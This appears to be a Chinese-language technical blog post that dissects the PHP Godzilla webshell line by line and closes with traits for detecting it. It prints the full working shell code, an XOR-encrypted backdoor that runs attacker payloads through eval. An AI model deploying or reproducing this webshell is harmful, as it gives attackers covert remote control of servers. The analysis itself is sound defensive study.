Godzilla Webshell
[*] 參考博文:哥斯拉PHP馬分析
1. webshell生成
GenerateShell
- 密碼:pass
- 密鑰:key
- 有效載荷:PhpDynamicPayload
- 加密器:PHP_XOR_BASE64
生成Webshell文件:shell.php
<?php
@session_start(); //創建或者重啟一個會話
@set_time_limit(0); //設置程序最長運行時間:永久
@error_reporting(0); // 關閉錯誤報告
function encode($D,$K){ //通過密鑰對 $D 進行加/解密
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$pass='pass';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
if (isset($_POST[$pass])){
//用base64 對 $_POST[$pass] 進行解碼,然后通過密鑰對返回數據進行加/解密
$data=encode(base64_decode($_POST[$pass]),$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
if (strpos($payload,"getBasicsInfo")===false){
$payload=encode($payload,$key);
}
eval($payload);
echo substr(md5($pass.$key),0,16);
echo base64_encode(encode(@run($data),$key));
echo substr(md5($pass.$key),16);
}else{
if (strpos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key); //將攻擊荷載存儲到SESSION
}
}
}
-
可以看到這個Shell內容不是特別多,攻擊荷載都在SESSION里,大部分代碼在實現加密通信。一眼看過去好像沒有特別明顯的特征,不像冰蠍可以直接找"AES"然后看上下文。
[ 某技術論壇 ]
2. 逐句解析
2.1 開始准備
@session_start();
- session的工作原理
- 首先使用session_start()函數進行初始換
- 當執行PHP腳本時,通過使用$_SESSION超全局變量注冊session變量。
- 當PHP腳本執行結束時,未被銷毀的session變量會被自動保存在本地一定路徑下的session庫中, 這個路徑可以通過php.ini文件中的session.save_path指定,下次瀏覽網頁時可以加載使用。
- session_start()做了哪些初始化工作
- 讀取名為PHPSESSID(如果沒有改變默認值)的cookie值,假使為abc123
- 若讀取到PHPSESSID這個COOKIE,創建$_SESSION變量,並從相應的目錄中(可以再php.ini中設置)讀取SESS_abc123(默認是這種命名方式)文件,將字符裝在入$_SESSION變量中; 若沒有讀取到PHPSESSID這個COOKIE,也會創建$_SESSION變量,同時創建一個sess_abc321(名稱為隨機值)的session文件,同時將abc321作為PHPSESSID的cookie值返回給瀏覽器端。
@set_time_limit(0);
# 語法:set_time_limit(time);
- 設置程序執行時間的函數
- 括號里邊的數字是執行時間,如果為零說明永久執行直到程序結束;
- 如果為大於零的數字,則不管程序是否執行完成,到了設定的秒數,程序結束。
@error_reporting(0);
# 語法:error_reporting(level);
-
規定不同的錯誤級別報告:
-
關閉錯誤報告
error_reporting(0);
-
報告 runtime 錯誤
error_reporting(E_ERROR | E_WARNING | E_PARSE);
-
報告所有錯誤
error_reporting(E_ALL);
-
等同 error_reporting(E_ALL);
ini_set("error_reporting", E_ALL);
-
報告 E_NOTICE 之外的所有錯誤
error_reporting(E_ALL & ~E_NOTICE);
-
2.2 定義encode函數
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
-
定義函數encode:
-
定義一個循環,用第一個參數($D)的長度來控制循環次數
-
將$i加一,然后和15按位與(&),定義一個變量 $C 來存儲
注意:運算符"+" 的優先級比 位運算符"&"要高
-
2.3 定義三個參數
$pass='pass';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
- 創建三個變量
pass
:用來定義木馬監聽POST請求中的哪個變量,簡單來說就是如果給$pass賦值pass,就需要通過在POST請求中給pass變量賦值,去訪問該文件,實現遠控。payloadName
:$payloadName的值用來在SESSION中存取攻擊荷載,可以隨意賦值。key
:$key的值用來存儲encode()方法中加解密會用到的鹽值。
2.4 Webshell主體部分
if (isset($_POST[$pass])){
- 通過isset()監聽POST請求,
$data=encode(base64_decode($_POST[$pass]),$key);
- 取出傳入的攻擊荷載/遠控命令解密后賦給F
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
if (strpos($payload,"getBasicsInfo")===false){
# 語法:strpos(string,find,start)
-
() f函數查找字符串在另一字符串中第一次出現的位置(區分大小寫)。
返回值: 返回字符串在另一字符串中第一次出現的位置,如果沒有找到字符串則返回 FALSE。
注意: 字符串位置從 0 開始,不是從 1 開始。
-
注意:strpos() 函數是區分大小寫的。
-
注意:該函數是二進制安全的。
-
-
相關函數:
- strrpos() - 查找字符串在另一字符串中最后一次出現的位置(區分大小寫)
- stripos() - 查找字符串在另一字符串中第一次出現的位置(不區分大小寫)
- strripos() -查找字符串在另一字符串中最后一次出現的位置(不區分大小寫)
$payload=encode($payload,$key);
- 通過密鑰對 $payload 進行加/解密,將
eval($payload);
# 語法:eval(phpcode)
-
eval() 函數把字符串按照 PHP 代碼來計算。
該字符串必須是合法的 PHP 代碼,且必須以分號結尾。
返回值:除非在代碼字符串中調用 return 語句,則返回傳給 return 語句的值,否則返回 NULL。如果代碼字符串中存在解析錯誤,則 eval() 函數返回 FALSE。
echo substr(md5($pass.$key),0,16);
# 語法:substr(string,start,length)
-
substr() 函數返回字符串的一部分。
注釋:如果 start 參數是負數且 length 小於或等於 start,則 length 為 0。
-
先將遠控命令和鹽值進行拼接,然后計算拼接得出的字符串的MD5值,取前16位放在返回值前面
echo base64_encode(encode(@run($data),$key));
- 通過攻擊荷載中的 run() 方法執行遠控命令,然后對返回的字符串加密,並輸出加密后的字符串。
echo substr(md5($pass.$key),16);
- 取之前計算出的字符串的MD5值第16位后面的部分,放在返回值的后面。回顯前后添加字符串,一方面是在進行二次加密,另一方面可以讓哥斯拉服務端知道返回的是哪條命令的回顯。
if (strpos($data,"getBasicsInfo")!==false){
- 判斷 $date 里是否出現了 "getBasicsInfo"
$_SESSION[$payloadName]=encode($data,$key); //將攻擊荷載存儲到SESSION ?
- 將攻擊荷載存儲到SESSION
3. 總結
3.1 木馬的利用邏輯:
-
第一次通信時,服務端通過POST方式傳遞一個名叫pass的參數給木馬,給pass參數賦的值是加密后的一組用”|”隔開的方法,也就是接下來要使用的攻擊荷載。荷載在解密后被存入SESSION,供之后使用。
-
從第二次通信開始,pass傳入的是遠控命令,通過攻擊荷載中的run()方法執行遠控命令。然后對回顯進行加密后傳輸給哥斯拉的服務端。
3.2 木馬特征:
因為涉及到了服務端的運行邏輯、不管再怎么改造、變形,以下幾點應該是沒法隱藏的:
- run()方法是寫死在攻擊荷載里面的,代碼一定會調用這個方法執行傳入的參數。
- 有一個向SESSION中存儲攻擊荷載的過程,就是會有一個$_SESSION[$XXX]=P的過程,這里的P是通過POST方法傳進來的參數。
- 會將傳入的參數解密、拼接后取MD5,前16位加到回顯的前端,其余的部分加到回顯的后端。
4. 其他補充
“@” 符號的意義
- 它會抑制錯誤消息。
- PHP支持一個錯誤控制操作符:at符號(@)。當添加到PHP中的表達式時,該表達式可能生成的任何錯誤消息都將被忽略。
- 但要注意的是:這個控制只是將錯誤信息屏蔽掉,不讓其顯示出來,並不是真正的解決錯誤。